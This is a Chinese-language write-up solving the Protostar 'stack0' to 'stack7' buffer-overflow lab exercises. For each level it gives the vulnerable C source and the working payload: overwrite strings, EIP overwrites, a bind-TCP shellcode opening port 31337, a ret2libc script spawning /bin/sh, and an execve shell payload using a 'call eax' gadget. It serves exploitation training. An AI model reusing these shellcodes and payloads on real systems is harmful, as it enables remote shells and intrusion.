Protostar Stack 0-7 Write-up
Stack0
#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } }
输入buffer超过64就可以覆盖掉modified值
python -c ‘print “A”*65’ | ./stack0

Stack 1
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }
Modified变为固定值
./stack1 `python -c ‘print “A”*64+”\x64\x63\x62\x61″‘`

Stack 2
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; char *variable; variable = getenv("GREENIE"); if(variable == NULL) { errx(1, "please set the GREENIE environment variable\n"); } modified = 0; strcpy(buffer, variable); if(modified == 0x0d0a0d0a) { printf("you have correctly modified the variable\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }
getenv获取环境变量,需要先export设置GREENIE环境变量值
export GREENIE=`python -c “print ‘A’*64+’\x0a\x0d\x0a\x0d'”`

Stack 3
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } }
需要覆盖fp值使fp!=0,并且控制fp指针跳转到win函数
使用gdb调试获取win函数的起始地址作为fp跳转点

Stack 4
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
在/opt/protostar/bin/目录下没有权限创建文件,所以回到根目录下,在/tmp/目录下创建测试payload

Gdb加载stack4,然后传入payload参数,查看断点

根据断点位置查看偏移为76
此payload可以在线生成
Buffer Overflow EIP Offset String Generator

查看win函数地址

构造payload
echo `python -c “print ‘A’*76+’\xf4\x83\x04\x08′”` | /opt/protostar/bin/stack4

Stack 5
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
与stack4相同,首先测试到偏移为76时为eip地址
需要自己写shellcode
https://www.exploit-db.com/shellcodes/14235
Bind_tcp: nc localhost 31337 91bytes
"\xeb\x11\x5e\x31\xc9\xb1\x43\x80\x6c\x0e\xff\x35\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x95\x66\xf5\x66\x07\xe5\x40\x87\x9d\xa3\x64\xa8\x9d\x9d\x64\x64\x97\x9e\xbe\x18\x87\x9d\x62\x98\x98\x98\xbe\x16\x87\x20\x3c\x86\x88\xbe\x16\x02\xb5\x96\x1d\x29\x34\x34\x34\xa3\x98\x55\x62\xa1\xa5\x55\x68\x66\x68\x68\x6c\x55\x62\x9a\x55\x64\x97\x9e\xa3\x64\x64\xa8\x9d"
首先测试shellcode的起始地址为0xbffff7e0

构造payload = “A”*76+”\x90”*16+”shellcode” | stack5
开启另一个终端,nc localhost 31337端口监听成功

Stack6
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char **argv) { getpath(); }
首先计算EIP偏移位置,在80处

根据源码,返回地址受到限制,类似于数据执行保护机制,需要使用Ret2libc技术
使用 system(“/bin/sh”)获取一个shell
首先获取system地址

(gdb)info prop mapping

查找并计算 /bin/sh字符位置

gdb获取存在问题,使用strings在.so库中直接查找 /bin/sh 字符串位置


python构造shellcode
import struct padding = ‘A’*80 system = struct.pack(“I”, 0xb7ecffb0) ret = “BBBB” bin_sh = struct.pack(“I”, 0xb7fb63bf) print padding+system+ret+bin_sh
执行 (python s6.py; cat) | stack6

Stack 7
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> char *getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xb0000000) == 0xb0000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); return strdup(buffer); } int main(int argc, char **argv) { getpath(); }
返回地址受到限制,比stack6多了一行代码
return strdup(buffer);
需要将shellcode返回到text中,实现ret2text
根据源码,getpath()返回的内容在strdup(buffer)中,复制buffer中的内容并返回这个新字符串的地址。
而函数通常是使用eax作为返回值,所以可以先将shellcode放在buffer中,然后在函数返回时将返回地址ret覆盖为call eax,这样就可以执行shellcode。
不过shellcode长度需要限制在padding区域内(80 bytes)
参考如下shellcode(39 bytes),重开一个/bin/sh执行端:
https://www.exploit-db.com/exploits/13357
Step 1: EIP Ret Address(shellcode length)

Step 2: objdump -M intel -d stack7 | grep “call.*eax”

Step 3: shellcode 有39 bytes,加上字符串16 bytes,总共55 bytes

Step 4: 构造Payload = shellcode + ‘\x90’*25+’\xbf\x84\x04\x08’
echo `python -c 'print("\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*25 + "\xbf\x84\x04\x08")'` | /opt/protostar/bin/stack7
